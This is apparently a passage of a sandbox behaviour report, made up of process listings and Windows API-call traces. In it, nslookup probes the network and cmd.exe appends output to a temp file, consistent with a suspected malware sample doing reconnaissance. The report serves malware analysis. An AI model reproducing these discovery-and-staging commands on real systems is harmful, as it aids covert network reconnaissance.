os_tid = 0x38c Thread: id = 368 os_tid = 0x97c Thread: id = 369 os_tid = 0x988 Thread: id = 372 os_tid = 0x990 Thread: id = 374 os_tid = 0x950 Thread: id = 376 os_tid = 0x5cc Thread: id = 378 os_tid = 0x328 Thread: id = 380 os_tid = 0x250 Thread: id = 382 os_tid = 0x7b4 Thread: id = 386 os_tid = 0x970 Thread: id = 389 os_tid = 0x4d8 Thread: id = 390 os_tid = 0x204 Thread: id = 391 os_tid = 0x9c4 Thread: id = 396 os_tid = 0x4b0 Thread: id = 397 os_tid = 0x728 Thread: id = 398 os_tid = 0xa50 Thread: id = 409 os_tid = 0x88c Thread: id = 482 os_tid = 0x24c Thread: id = 494 os_tid = 0x9c8 Thread: id = 500 os_tid = 0xa58 Thread: id = 509 os_tid = 0x914 Thread: id = 511 os_tid = 0xbe0 Thread: id = 526 os_tid = 0xa64 Process: id = "30" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x3675c000" os_pid = "0xb78" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x330" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 337 os_tid = 0xb80 Thread: id = 370 os_tid = 0x98c Thread: id = 371 os_tid = 0x984 Thread: id = 373 os_tid = 0x768 Thread: id = 375 os_tid = 0x86c Thread: id = 377 os_tid = 0x50c Thread: id = 379 os_tid = 0x310 Thread: id = 381 os_tid = 0xc4 Thread: id = 383 os_tid = 0xb20 Thread: id = 384 os_tid = 0xb34 Thread: id = 385 os_tid = 0x6fc Thread: id = 387 os_tid = 0x318 Thread: id = 388 os_tid = 0x600 Thread: id = 392 os_tid = 0xaf0 Thread: id = 393 os_tid = 0x218 Thread: id = 408 os_tid = 0xb84 Thread: id = 480 os_tid = 0x488 Thread: id = 492 os_tid = 0x9ec Thread: id = 493 os_tid = 0x244 Thread: id = 496 os_tid = 0x934 Thread: id = 501 os_tid = 0x584 Thread: id = 513 os_tid = 0x5a0 Process: id = "31" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x35eb1000" os_pid = "0xb84" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0x610" cmd_line = "nslookup 127.0.0.1 " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 323 os_tid = 0xbf8 [0140.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fca0 | out: lpSystemTimeAsFileTime=0x10fca0*(dwLowDateTime=0xfbbff110, dwHighDateTime=0x1d51ed4)) [0140.700] GetCurrentProcessId () returned 0xb84 [0140.700] GetCurrentThreadId () returned 0xbf8 [0140.700] GetTickCount () returned 0x2f70a [0140.700] QueryPerformanceCounter (in: lpPerformanceCount=0x10fca8 | out: lpPerformanceCount=0x10fca8*=26522518077) returned 1 [0140.702] GetModuleHandleW (lpModuleName=0x0) returned 0xff990000 [0140.702] __set_app_type (_Type=0x1) [0140.702] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9a09f8) returned 0x0 [0140.702] __getmainargs (in: _Argc=0xff9aaa00, _Argv=0xff9aaa10, _Env=0xff9aaa08, _DoWildCard=0, _StartInfo=0xff9aaa1c | out: _Argc=0xff9aaa00, _Argv=0xff9aaa10, _Env=0xff9aaa08) returned 0 [0140.703] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0140.703] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0140.703] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff9b2e80 | out: lpWSAData=0xff9b2e80) returned 0 [0140.743] malloc (_Size=0x40) returned 0x415f50 [0140.743] socket (af=2, type=2, protocol=0) returned 0x70 [0140.747] closesocket (s=0x70) returned 0 [0140.747] RtlIpv4StringToAddressA () returned 0x0 [0140.748] RtlInitAnsiString (in: DestinationString=0x10fb00, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0140.748] RtlAnsiStringToUnicodeString (in: DestinationString=0x10faf0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0140.748] NtOpenKey (in: KeyHandle=0x10fbc8, DesiredAccess=0x20019, ObjectAttributes=0x10fb10*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x10fbc8*=0x70) returned 0x0 [0140.748] RtlFreeAnsiString (AnsiString="\\") [0140.748] malloc (_Size=0x3200) returned 0x415fa0 [0140.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243a30 [0140.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243e40 [0140.748] RtlAnsiStringToUnicodeString (in: DestinationString=0x10fad8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0140.748] NtQueryValueKey (in: KeyHandle=0x70, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x243a30, Length=0x400, ResultLength=0x10fad0 | out: KeyValueInformation=0x243a30, ResultLength=0x10fad0) returned 0xc0000034 [0140.748] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243e40) returned 1 [0140.748] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243a30) returned 1 [0140.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243a30 [0140.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243e40 [0140.748] RtlAnsiStringToUnicodeString (in: DestinationString=0x10fad8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0140.748] NtQueryValueKey (in: KeyHandle=0x70, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x243a30, Length=0x400, ResultLength=0x10fad0 | out: KeyValueInformation=0x243a30*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x10fad0) returned 0x0 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243e40) returned 1 [0140.749] RtlUnicodeStringToAnsiString (in: DestinationString=0x10fae8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243a30) returned 1 [0140.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243a30 [0140.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243e40 [0140.749] RtlAnsiStringToUnicodeString (in: DestinationString=0x10fad8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0140.749] NtQueryValueKey (in: KeyHandle=0x70, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x243a30, Length=0x400, ResultLength=0x10fad0 | out: KeyValueInformation=0x243a30, ResultLength=0x10fad0) returned 0xc0000034 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243e40) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243a30) returned 1 [0140.749] RtlInitAnsiString (in: DestinationString=0x10fb00, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0140.749] RtlAnsiStringToUnicodeString (in: DestinationString=0x10faf0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0140.749] NtOpenKey (in: KeyHandle=0x10fbd0, DesiredAccess=0x20019, ObjectAttributes=0x10fb10*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x10fbd0*=0x0) returned 0xc0000034 [0140.749] RtlFreeAnsiString (AnsiString="\\") [0140.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243a30 [0140.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243e40 [0140.749] RtlAnsiStringToUnicodeString (in: DestinationString=0x10fad8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0140.749] NtQueryValueKey (in: KeyHandle=0x70, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x243a30, Length=0x400, ResultLength=0x10fad0 | out: KeyValueInformation=0x243a30*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x10fad0) returned 0x0 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243e40) returned 1 [0140.749] RtlUnicodeStringToAnsiString (in: DestinationString=0x10fae8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243a30) returned 1 [0140.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243a30 [0140.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x400) returned 0x243e40 [0140.749] RtlAnsiStringToUnicodeString (in: DestinationString=0x10fad8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0140.749] NtQueryValueKey (in: KeyHandle=0x70, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x243a30, Length=0x400, ResultLength=0x10fad0 | out: KeyValueInformation=0x243a30, ResultLength=0x10fad0) returned 0xc0000034 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243e40) returned 1 [0140.749] RtlFreeHeap (HeapHandle=0x220000, Flags=0x0, BaseAddress=0x243a30) returned 1 [0140.749] gethostname (in: name=0x415fa0, namelen=12800 | out: name="YKyd69q") returned 0 [0140.806] free (_Block=0x415fa0) [0140.806] malloc (_Size=0x20) returned 0x415a30 [0140.806] getenv (_VarName="HOME") returned 0x0 [0140.806] DnsQueryConfigAllocEx () returned 0x1d815f0 [0140.869] _vsnprintf (in: _DstBuf=0x10fa80, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xff9f8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0140.869] htons (hostshort=0x1) returned 0x100 [0140.869] htons (hostshort=0x1) returned 0x100 [0140.871] socket (af=2, type=2, protocol=0) returned 0x114 [0140.872] connect (s=0x114, name=0x1d81610*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0140.873] send (s=0x114, buf=0xffa80*, len=42, flags=0) returned 42 [0140.873] select (in: nfds=276, readfds=0xef4f0, writefds=0x0, exceptfds=0x0, timeout=0xef4c8 | out: readfds=0xef4f0, writefds=0x0, exceptfds=0x0) returned 1 [0140.874] recv (in: s=0x114, buf=0xef9e0, len=65536, flags=0 | out: buf=0xef9e0*) returned 101 [0140.874] closesocket (s=0x114) returned 0 [0140.874] RtlIpv4AddressToStringExA () returned 0xc000000d [0140.874] DnsFreeConfigStructure () returned 0x693ef901 [0140.874] malloc (_Size=0xc) returned 0x415a60 [0140.874] strcpy_s (in: _Dst=0x415a60, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0140.874] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x24ac50 [0140.874] strcpy_s (in: _Dst=0xff9b3020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0140.877] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x10f938, nSize=0x0, Arguments=0x10f930 | out: lpBuffer="`\x99%") returned 0x7 [0140.877] fprintf (in: _File=0x7fefd702ab0, _Format="%-7s %s" | out: _File=0x7fefd702ab0) returned 16 [0140.877] fprintf (in: _File=0x7fefd702ab0, _Format="\nAddress:" | out: _File=0x7fefd702ab0) returned 9 [0140.877] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0140.877] fprintf (in: _File=0x7fefd702ab0, _Format="%c %s" | out: _File=0x7fefd702ab0) returned 13 [0140.877] fprintf (in: _File=0x7fefd702ab0, _Format="\n\n" | out: _File=0x7fefd702ab0) returned 2 [0140.877] RtlIpv4StringToAddressA () returned 0x0 [0140.877] _vsnprintf (in: _DstBuf=0x10f7a0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0xff718 | out: _DstBuf="1.0.0.127.in-addr.arpa.") returned 23 [0140.878] htons (hostshort=0x2) returned 0x200 [0140.878] htons (hostshort=0x1) returned 0x100 [0140.878] socket (af=2, type=2, protocol=0) returned 0x114 [0140.878] connect (s=0x114, name=0x24ac70*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0140.878] send (s=0x114, buf=0xff7a0*, len=40, flags=0) returned 40 [0140.878] select (in: nfds=276, readfds=0xef210, writefds=0x0, exceptfds=0x0, timeout=0xef1e8 | out: readfds=0xef210, writefds=0x0, exceptfds=0x0) returned 1 [0140.879] recv (in: s=0x114, buf=0xef700, len=65536, flags=0 | out: buf=0xef700*) returned 63 [0140.879] closesocket (s=0x114) returned 0 [0140.879] htons (hostshort=0x100) returned 0x1 [0140.879] htons (hostshort=0x100) returned 0x1 [0140.879] htons (hostshort=0x0) returned 0x0 [0140.879] htons (hostshort=0x0) returned 0x0 [0140.879] malloc (_Size=0xa) returned 0x415a80 [0140.879] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x24ab70 [0140.879] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x10f898, nSize=0x0, Arguments=0x10f890 | out: lpBuffer="p\x99%") returned 0x5 [0140.879] fprintf (in: _File=0x7fefd702ab0, _Format="%-7s %s" | out: _File=0x7fefd702ab0) returned 18 [0140.879] fprintf (in: _File=0x7fefd702ab0, _Format="\nAddress:" | out: _File=0x7fefd702ab0) returned 9 [0140.879] inet_ntoa (in=0x100007f) returned="127.0.0.1" [0140.879] fprintf (in: _File=0x7fefd702ab0, _Format="%c %s" | out: _File=0x7fefd702ab0) returned 11 [0140.879] fprintf (in: _File=0x7fefd702ab0, _Format="\n\n" | out: _File=0x7fefd702ab0) returned 2 [0140.879] free (_Block=0x415a60) [0140.879] LocalFree (hMem=0x24ac50) returned 0x0 [0140.879] free (_Block=0x415f50) [0140.879] exit (_Code=0) Thread: id = 324 os_tid = 0xbfc Process: id = "32" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3704f000" os_pid = "0x8e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 325 os_tid = 0x8e0 [0141.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fe90 | out: lpSystemTimeAsFileTime=0x16fe90*(dwLowDateTime=0xfc5f6d30, dwHighDateTime=0x1d51ed4)) [0141.738] GetCurrentProcessId () returned 0x8e8 [0141.738] GetCurrentThreadId () returned 0x8e0 [0141.738] GetTickCount () returned 0x2fb20 [0141.738] QueryPerformanceCounter (in: lpPerformanceCount=0x16fe98 | out: lpPerformanceCount=0x16fe98*=26626316976) returned 1 [0141.739] GetModuleHandleW (lpModuleName=0x0) returned 0x4a980000 [0141.739] __set_app_type (_Type=0x1) [0141.739] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9a7810) returned 0x0 [0141.739] __getmainargs (in: _Argc=0x4a9ca608, _Argv=0x4a9ca618, _Env=0x4a9ca610, _DoWildCard=0, _StartInfo=0x4a9ae0f4 | out: _Argc=0x4a9ca608, _Argv=0x4a9ca618, _Env=0x4a9ca610) returned 0 [0141.739] GetCurrentThreadId () returned 0x8e0 [0141.739] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8e0) returned 0x3c [0141.739] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0141.739] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0141.739] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0141.739] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0141.739] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16fe28 | out: phkResult=0x16fe28*=0x0) returned 0x2 [0141.740] VirtualQuery (in: lpAddress=0x16fe10, lpBuffer=0x16fd90, dwLength=0x30 | out: lpBuffer=0x16fd90*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.740] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16fd90, dwLength=0x30 | out: lpBuffer=0x16fd90*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.740] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16fd90, dwLength=0x30 | out: lpBuffer=0x16fd90*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.740] VirtualQuery (in: lpAddress=0x74000, lpBuffer=0x16fd90, dwLength=0x30 | out: lpBuffer=0x16fd90*(BaseAddress=0x74000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0141.740] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16fd90, dwLength=0x30 | out: lpBuffer=0x16fd90*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0141.740] GetConsoleOutputCP () returned 0x1b5 [0141.740] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9bbfe0 | out: lpCPInfo=0x4a9bbfe0) returned 1 [0141.740] SetConsoleCtrlHandler (HandlerRoutine=0x4a9a3184, Add=1) returned 1 [0141.740] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.740] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0141.740] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.740] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9ae194 | out: lpMode=0x4a9ae194) returned 1 [0141.741] _get_osfhandle (_FileHandle=1) returned 0x7 [0141.741] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0141.741] _get_osfhandle (_FileHandle=0) returned 0x3 [0141.741] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9ae198 | out: lpMode=0x4a9ae198) returned 1 [0141.741] _get_osfhandle (_FileHandle=0) returned 0x3 [0141.741] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0141.741] GetEnvironmentStringsW () returned 0x309ab0* [0141.741] GetProcessHeap () returned 0x2f0000 [0141.741] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa78) returned 0x30a530 [0141.741] FreeEnvironmentStringsW (penv=0x309ab0) returned 1 [0141.741] GetProcessHeap () returned 0x2f0000 [0141.741] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8) returned 0x30afb0 [0141.741] GetEnvironmentStringsW () returned 0x309ab0* [0141.741] GetProcessHeap () returned 0x2f0000 [0141.741] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa78) returned 0x30afd0 [0141.742] FreeEnvironmentStringsW (penv=0x309ab0) returned 1 [0141.742] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ece8 | out: phkResult=0x16ece8*=0x44) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x0, lpData=0x16ed00*=0x18, lpcbData=0x16ece4*=0x1000) returned 0x2 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x1, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x0, lpData=0x16ed00*=0x1, lpcbData=0x16ece4*=0x1000) returned 0x2 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x0, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x40, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x40, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x0, lpData=0x16ed00*=0x40, lpcbData=0x16ece4*=0x1000) returned 0x2 [0141.742] RegCloseKey (hKey=0x44) returned 0x0 [0141.742] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ece8 | out: phkResult=0x16ece8*=0x44) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x0, lpData=0x16ed00*=0x40, lpcbData=0x16ece4*=0x1000) returned 0x2 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x1, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x0, lpData=0x16ed00*=0x1, lpcbData=0x16ece4*=0x1000) returned 0x2 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x0, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x9, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x4, lpData=0x16ed00*=0x9, lpcbData=0x16ece4*=0x4) returned 0x0 [0141.742] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ece0, lpData=0x16ed00, lpcbData=0x16ece4*=0x1000 | out: lpType=0x16ece0*=0x0, lpData=0x16ed00*=0x9, lpcbData=0x16ece4*=0x1000) returned 0x2 [0141.742] RegCloseKey (hKey=0x44) returned 0x0 [0141.742] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2093 [0141.743] srand (_Seed=0x5cfd2093) [0141.743] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0141.743] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0141.743] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9bc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0141.743] GetProcessHeap () returned 0x2f0000 [0141.743] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x30ba50 [0141.743] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30ba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0141.743] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9af360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0141.743] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9af360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0141.743] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9af360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0141.743] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0141.743] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0141.743] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0141.743] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 